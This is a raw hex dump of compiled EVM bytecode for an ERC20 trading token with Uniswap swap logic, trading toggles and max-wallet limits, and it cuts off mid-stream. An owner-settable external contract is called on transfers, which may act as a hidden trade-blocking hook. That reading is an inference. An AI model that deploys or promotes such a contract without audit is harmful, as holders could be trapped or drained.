2d3090613db6565b60405180910390fd5b612d4483838361312d565b612daf816040518060600160405280602681526020016144d1602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac99092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e42816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2d90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ee19190613646565b60405180910390a3505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639fd5876a8383600030426040518663ffffffff1660e01b8152600401612f5295949392919061418d565b600060405180830381600087803b158015612f6c57600080fd5b505af1158015612f80573d6000803e3d6000fd5b505050505050565b6000612f9330610bee565b90506000808203612fa5575050613067565b6014600a54612fb491906141e0565b821115612fcd576014600a54612fca91906141e0565b91505b612fd682613132565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff164760405161301c90614253565b60006040518083038185875af1925050503d8060008114613059576040519150601f19603f3d011682016040523d82523d6000602084013e61305e565b606091505b50508091505050505b565b600080830361307b57600090506130dd565b6000828461308991906141e0565b90508284826130989190614297565b146130d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130cf9061433a565b60405180910390fd5b809150505b92915050565b600061312583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061336f565b905092915050565b505050565b6000600267ffffffffffffffff81111561314f5761314e61435a565b5b60405190808252806020026020018201604052801561317d5781602001602082028036833780820191505090505b509050308160008151811061319557613194614389565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561323a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061325e9190613937565b8160018151811061327257613271614389565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506132d7307f000000000000000000000000000000000000000000000000000000000000000084611cd3565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613339959493929190614476565b600060405180830381600087803b15801561335357600080fd5b505af1158015613367573d6000803e3d6000fd5b505050505050565b600080831182906133b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133ad91906134be565b60405180910390fd5b50600083856133c59190614297565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006133fd826133d2565b9050919050565b61340d816133f2565b82525050565b60006020820190506134286000830184613404565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561346857808201518184015260208101905061344d565b60008484015250505050565b6000601f19601f8301169050919050565b60006134908261342e565b61349a8185613439565b93506134aa81856020860161344a565b6134b381613474565b840191505092915050565b600060208201905081810360008301526134d88184613485565b905092915050565b600080fd5b6134ee816133f2565b81146134f957600080fd5b50565b60008135905061350b816134e5565b92915050565b6000819050919050565b61352481613511565b811461352f57600080fd5b50565b6000813590506135418161351b565b92915050565b6000806040838503121561355e5761355d6134e0565b5b600061356c858286016134fc565b925050602061357d85828601613532565b9150509250929050565b60008115159050919050565b61359c81613587565b82525050565b60006020820190506135b76000830184613593565b92915050565b6000819050919050565b60006135e26135dd6135d8846133d2565b6135bd565b6133d2565b9050919050565b60006135f4826135c7565b9050919050565b6000613606826135e9565b9050919050565b613616816135fb565b82525050565b6000602082019050613631600083018461360d565b92915050565b61364081613511565b82525050565b600060208201905061365b6000830184613637565b92915050565b60008060006060848603121561367a576136796134e0565b5b6000613688868287016134fc565b9350506020613699868287016134fc565b92505060406136aa86828701613532565b9150509250925092565b600060ff82169050919050565b6136ca816136b4565b82525050565b60006020820190506136e560008301846136c1565b92915050565b600060208284031215613701576137006134e0565b5b600061370f848285016134fc565b91505092915050565b61372181613587565b811461372c57600080fd5b50565b60008135905061373e81613718565b92915050565b6000806040838503121561375b5761375a6134e0565b5b6000613769858286016134fc565b925050602061377a8582860161372f565b9150509250929050565b6000806040838503121561379b5761379a6134e0565b5b60006137a9858286016134fc565b92505060206137ba858286016134fc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061380b57607f821691505b60208210810361381e5761381d6137c4565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061385a602083613439565b915061386582613824565b602082019050919050565b600060208201905081810360008301526138898161384d565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006138ec603983613439565b91506138f782613890565b604082019050919050565b6000602082019050818103600083015261391b816138df565b9050919050565b600081519050613931816134e5565b92915050565b60006020828403121561394d5761394c6134e0565b5b600061395b84828501613922565b91505092915050565b60006040820190506139796000830185613404565b6139866020830184613404565b9392505050565b6000819050919050565b60006139b26139ad6139a88461398d565b6135bd565b613511565b9050919050565b6139c281613997565b82525050565b600060c0820190506139dd6000830189613404565b6139ea6020830188613637565b6139f760408301876139b9565b613a0460608301866139b9565b613a116080830185613404565b613a1e60a0830184613637565b979650505050505050565b600081519050613a388161351b565b92915050565b600080600060608486031215613a5757613a566134e0565b5b6000613a6586828701613a29565b9350506020613a7686828701613a29565b9250506040613a8786828701613a29565b9150509250925092565b6000604082019050613aa66000830185613404565b613ab36020830184613637565b9392505050565b600081519050613ac981613718565b92915050565b600060208284031215613ae557613ae46134e0565b5b6000613af384828501613aba565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613b58602683613439565b9150613b6382613afc565b604082019050919050565b60006020820190508181036000830152613b8781613b4b565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613bea602483613439565b9150613bf582613b8e565b604082019050919050565b60006020820190508181036000830152613c1981613bdd565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613c7c602283613439565b9150613c8782613c20565b604082019050919050565b60006020820190508181036000830152613cab81613c6f565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613d0e602583613439565b9150613d1982613cb2565b604082019050919050565b60006020820190508181036000830152613d3d81613d01565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613da0602383613439565b9150613dab82613d44565b604082019050919050565b60006020820190508181036000830152613dcf81613d93565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613e0c601683613439565b9150613e1782613dd6565b602082019050919050565b60006020820190508181036000830152613e3b81613dff565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b6000613ec4604983613439565b9150613ecf82613e42565b606082019050919050565b60006020820190508181036000830152613ef381613eb7565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785478416d6f756e742e0000000000000000000000000000000000000000602082015250565b6000613f56602c83613439565b9150613f6182613efa565b604082019050919050565b60006020820190508181036000830152613f8581613f49565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613fc682613511565b9150613fd183613511565b9250828201905080821115613fe957613fe8613f8c565b5b92915050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000614025601383613439565b915061403082613fef565b602082019050919050565b6000602082019050818103600083015261405481614018565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785478416d6f756e742e00000000000000000000000000000000000000602082015250565b60006140b7602d83613439565b91506140c28261405b565b604082019050919050565b600060208201905081810360008301526140e6816140aa565b9050919050565b60006140f882613511565b915061410383613511565b925082820390508181111561411b5761411a613f8c565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614157601b83613439565b915061416282614121565b602082019050919050565b600060208201905081810360008301526141868161414a565b9050919050565b600060a0820190506141a26000830188613404565b6141af6020830187613404565b6141bc60408301866139b9565b6141c96060830185613404565b6141d66080830184613637565b9695505050505050565b60006141eb82613511565b91506141f683613511565b925082820261420481613511565b9150828204841483151761421b5761421a613f8c565b5b5092915050565b600081905092915050565b50565b600061423d600083614222565b91506142488261422d565b600082019050919050565b600061425e82614230565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006142a282613511565b91506142ad83613511565b9250826142bd576142bc614268565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000614324602183613439565b915061432f826142c8565b604082019050919050565b6000602082019050818103600083015261435381614317565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6143ed816133f2565b82525050565b60006143ff83836143e4565b60208301905092915050565b6000602082019050919050565b6000614423826143b8565b61442d81856143c3565b9350614438836143d4565b8060005b8381101561446957815161445088826143f3565b975061445b8361440b565b92505060018101905061443c565b5085935050505092915050565b600060a08201905061448b6000830188613637565b61449860208301876139b9565b81810360408301526144aa8186614418565b90506144b96060830185613404565b6144c66080830184613637565b969550505050505056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205ae35a9051acd4d52efe8b9b0e7341e454ff8671b8e5c2865743898ccf43f48f64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106102135760003560e01c80638da5cb5b11610118578063c0246668116100a0578063dd62ed3e1161006f578063dd62ed3e146107c8578063e884f26014610805578063ea414b2814610830578063ec885dc714610859578063f2fde38b146108845761021a565b8063c024666814610732578063c876d0b91461075b578063c9567bf914610786578063cef851391461079d5761021a565b8063a457c2d7116100e7578063a457c2d714610625578063a9059cbb14610662578063aa4bde281461069f578063b62496f5146106ca578063bbc0c742146107075761021a565b80638da5cb5b1461056957806395d89b41146105945780639a4b0ab4146105bf5780639a7a23d6146105fc5761021a565b806349bd5a5e1161019b57806370a082311161016a57806370a0823114610496578063715018a6146104d3578063751039fc146104ea57806381905bf8146105155780638c0b5e221461053e5761021a565b806349bd5a5e146103d85780634a62bb65146104035780634fbee1931461042e5780636ddd17131461046b5761021a565b806318160ddd116101e257806318160ddd146102dd5780631d266b281461030857806323b872dd14610333578063313ce56714610370578063395093511461039b5761021a565b806303fd2a451461021f57806306fdde031461024a578063095ea7b3146102755780631694505e146102b25761021a565b3661021a57005b600080fd5b34801561022b57600080fd5b506102346108ad565b6040516102419190613413565b60405180910390f35b34801561025657600080fd5b5061025f6108d3565b60405161026c91906134be565b60405180910390f35b34801561028157600080fd5b5061029c60048036038101906102979190613547565b610965565b6040516102a991906135a2565b60405180910390f35b3480156102be57600080fd5b506102c7610983565b6040516102d4919061361c565b60405180910390f35b3480156102e957600080fd5b506102f26109a7565b6040516102ff9190613646565b60405180910390f35b34801561031457600080fd5b5061031d6109b1565b60405161032a9190613646565b60405180910390f35b34801561033f57600080fd5b5061035a60048036038101906103559190613661565b6109b7565b60405161036791906135a2565b60405180910390f35b34801561037c57600080fd5b50610385610a90565b60405161039291906136d0565b60405180910390f35b3480156103a757600080fd5b506103c260048036038101906103bd9190613547565b610a99565b6040516103cf91906135a2565b60405180910390f35b3480156103e457600080fd5b506103ed610b4c565b6040516103fa9190613413565b60405180910390f35b34801561040f57600080fd5b50610418610b72565b60405161042591906135a2565b60405180910390f35b34801561043a57600080fd5b50610455600480360381019061045091906136eb565b610b85565b60405161046291906135a2565b60405180910390f35b34801561047757600080fd5b50610480610bdb565b60405161048d91906135a2565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b891906136eb565b610bee565b6040516104ca9190613646565b60405180910390f35b3480156104df57600080fd5b506104e8610c36565b005b3480156104f657600080fd5b506104ff610d8e565b60405161050c91906135a2565b60405180910390f35b34801561052157600080fd5b5061053c60048036038101906105379190613744565b610e49565b005b34801561054a57600080fd5b50610553610f3b565b6040516105609190613646565b60405180910390f35b34801561057557600080fd5b5061057e610f41565b60405161058b9190613413565b60405180910390f35b3480156105a057600080fd5b506105a9610f6b565b6040516105b691906134be565b60405180910390f35b3480156105cb57600080fd5b506105e660048036038101906105e191906136eb565b610ffd565b6040516105f391906135a2565b60405180910390f35b34801561060857600080fd5b50610623600480360381019061061e9190613744565b61101d565b005b34801561063157600080fd5b5061064c60048036038101906106479190613547565b611152565b60405161065991906135a2565b60405180910390f35b34801561066e57600080fd5b5061068960048036038101906106849190613547565b61121f565b60405161069691906135a2565b60405180910390f35b3480156106ab57600080fd5b506106b461123d565b6040516106c19190613646565b60405180910390f35b3480156106d657600080fd5b506106f160048036038101906106ec91906136eb565b611243565b6040516106fe91906135a2565b60405180910390f35b34801561071357600080fd5b5061071c611263565b60405161072991906135a2565b60405180910390f35b34801561073e57600080fd5b5061075960048036038101906107549190613744565b611276565b005b34801561076757600080fd5b506107706113b6565b60405161077d91906135a2565b60405180910390f35b34801561079257600080fd5b5061079b6113c9565b005b3480156107a957600080fd5b506107b2611855565b6040516107bf9190613646565b60405180910390f35b3480156107d457600080fd5b506107ef60048036038101906107ea9190613784565b61185b565b6040516107fc9190613646565b60405180910390f35b34801561081157600080fd5b5061081a6118e2565b60405161082791906135a2565b60405180910390f35b34801561083c57600080fd5b50610857600480360381019061085291906136eb565b61199d565b005b34801561086557600080fd5b5061086e611aff565b60405161087b9190613646565b60405180910390f35b34801561089057600080fd5b506108ab60048036038101906108a691906136eb565b611b05565b005b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600380546108e2906137f3565b80601f016020809104026020016040519081016040528092919081815260200182805461090e906137f3565b801561095b5780601f106109305761010080835404028352916020019161095b565b820191906000526020600020905b81548152906001019060200180831161093e57829003601f168201915b5050505050905090565b6000610979610972611ccb565b8484611cd3565b6001905092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b600f5481565b60006109c4848484611e9c565b610a85846109d0611ccb565b610a80856040518060600160405280602881526020016144f760289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a36611ccb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac99092919063ffffffff16565b611cd3565b600190509392505050565b60006012905090565b6000610b42610aa6611ccb565b84610b3d8560016000610ab7611ccb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612b2d90919063ffffffff16565b611cd3565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c60009054906101000a900460ff1681565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600c60029054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c3e611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ccd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc490613870565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000610d98611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1e90613870565b60405180910390fd5b6000600c60006101000a81548160ff0219169083151502179055506001905090565b610e51611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed790613870565b60405180910390fd5b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60095481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610f7a906137f3565b80601f0160208091040260200160405190810160405280929190818152602001828054610fa6906137f3565b8015610ff35780601f10610fc857610100808354040283529160200191610ff3565b820191906000526020600020905b815481529060010190602001808311610fd657829003601f168201915b5050505050905090565b60126020528060005260406000206000915054906101000a900460ff1681565b611025611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ab90613870565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611144576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113b90613902565b60405180910390fd5b61114e8282612b8b565b5050565b600061121561115f611ccb565b846112108560405180606001604052806025815260200161451f6025913960016000611189611ccb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac99092919063ffffffff16565b611cd3565b6001905092915050565b600061123361122c611ccb565b8484611e9c565b6001905092915050565b600b5481565b60136020528060005260406000206000915054906101000a900460ff1681565b600c60019054906101000a900460ff1681565b61127e611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461130d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130490613870565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7826040516113aa91906135a2565b60405180910390a25050565b600e60009054906101000a900460ff1681565b6113d1611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611460576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145790613870565b60405180910390fd5b6000600c60006101000a81548160ff0219169083151502179055507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061150a9190613937565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611591573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115b59190613937565b6040518363ffffffff1660e01b81526004016115d2929190613964565b6020604051808303816000875af11580156115f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116159190613937565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611682600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001612b8b565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71947306116c930610bee565b6000806116d4610f41565b426040518863ffffffff1660e01b81526004016116f6969594939291906139c8565b60606040518083038185885af1158015611714573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117399190613a3e565b505050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016117d9929190613a91565b6020604051808303816000875af11580156117f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061181c9190613acf565b506001600c60006101000a81548160ff0219169083151502179055506001600c60016101000a81548160ff021916908315150217905550565b600a5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006118ec611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461197b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197290613870565b60405180910390fd5b6000600e60006101000a81548160ff0219169083151502179055506001905090565b6119a5611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2b90613870565b60405180910390fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fa751787977eeb3902e30e1d19ca00c6ad274a1f622c31a206e32366700b0567460405160405180910390a3611abb816001611276565b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60105481565b611b0d611ccb565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9390613870565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611c0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0290613b6e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611d42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3990613c00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611db1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da890613c92565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e8f9190613646565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611f0b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0290613d24565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f7190613db6565b60405180910390fd5b611f82610f41565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611fed5750611fbe610f41565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b80611ff85750600081145b1561200d57612008838383612c5b565b612ac4565b600c60009054906101000a900460ff16156126f25761202a610f41565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156120985750612068610f41565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120d15750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121445750600760149054906101000a900460ff16155b156126f157600c60019054906101000a900460ff1661223e57601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806121fe5750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61223d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223490613e22565b60405180910390fd5b5b600e60009054906101000a900460ff16156124085761225b610f41565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156122e257507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561233c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156124075743600d60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106123c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123b990613eda565b60405180910390fd5b43600d60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156124ab5750601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612552576009548111156124f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124ec90613f6c565b60405180910390fd5b600b5461250183610bee565b8261250c9190613fbb565b111561254d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125449061403b565b60405180910390fd5b6126f0565b601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156125f55750601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126445760095481111561263f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612636906140cd565b60405180910390fd5b6126ef565b601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166126ee57600b546126a183610bee565b826126ac9190613fbb565b11156126ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e49061403b565b60405180910390fd5b5b5b5b5b5b60006126fd30610bee565b90506127098484612eee565b6000600a54821015905080801561272c5750600c60029054906101000a900460ff165b80156127455750600760149054906101000a900460ff16155b801561279b5750601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156127f15750601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156128475750601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561288b576001600760146101000a81548160ff02191690831515021790555061286f612f88565b6000600760146101000a81548160ff0219169083151502179055505b6000600760149054906101000a900460ff16159050601160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016